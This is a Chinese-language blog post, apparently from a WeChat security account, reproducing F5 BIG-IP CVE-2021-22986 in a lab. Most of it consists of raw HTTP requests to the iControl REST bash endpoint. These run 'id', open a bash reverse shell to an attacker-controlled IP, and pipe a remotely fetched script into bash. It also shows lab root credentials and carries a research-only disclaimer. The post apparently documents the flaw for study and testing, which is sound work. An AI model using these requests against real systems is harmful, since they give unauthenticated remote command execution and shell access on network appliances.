环境搭建
测试版本：BIGIP-15.1.0-0.0.31.ALL-vmware
用户密码：root/123qwe!@#
网络连接：NAT 模式
如图：
netdiscover
netstat -antu | grep 443
访问
https://192.168.1.137:8443/
漏洞验证-命令执行：
POST /mgmt/tm/util/bash HTTP/1.1Host: 192.168.1.137:8443User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0Connection: closeX-F5-Auth-Token:Authorization: Basic YWRtaW46QVNhc1M=Content-Length: 39{"command":"run","utilCmdArgs":"-c id"}
如图：
漏洞利用-反弹shell（bash）
POST /mgmt/tm/util/bash HTTP/1.1Host: 192.168.1.137:8443User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0Connection: closeX-F5-Auth-Token:Authorization: Basic YWRtaW46QVNhc1M=Content-Length: 81{"command":"run","utilCmdArgs":"-c 'bash -i >&/dev/tcp/192.168.1.128/7777 0>&1'"}
如图：
漏洞利用-反弹shell（curl）
思路：远程下载反弹shell的脚本并执行
测试存在curl命令
{"command":"run","utilCmdArgs":"-c 'curl m7bsp1.dnslog.cn' "}
re.sh:
远程下载re.sh并执行
POST /mgmt/tm/util/bash HTTP/1.1Host: 192.168.1.137:8443User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0Connection: closeX-F5-Auth-Token:Authorization: Basic YWRtaW46QVNhc1M=Content-Length: 81{"command":"run","utilCmdArgs":"-c 'curl http://192.168.1.128:80/re.sh | bash' "}
如图：
若需要该环境，公众号留言：F5。
参考：
https://twitter.com/1ZRR4H/status/1373206181955653632## (⊙﹏⊙)##
人活在世界上，不可以有偏差;而且多少要费点劲儿，才能把自己保持到理性的轨道上。
--王小波 《沉默的大多数》
本文始发于微信公众号（don9sec）：F5 BIG-IP CVE-2021-22986 验证及利用
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论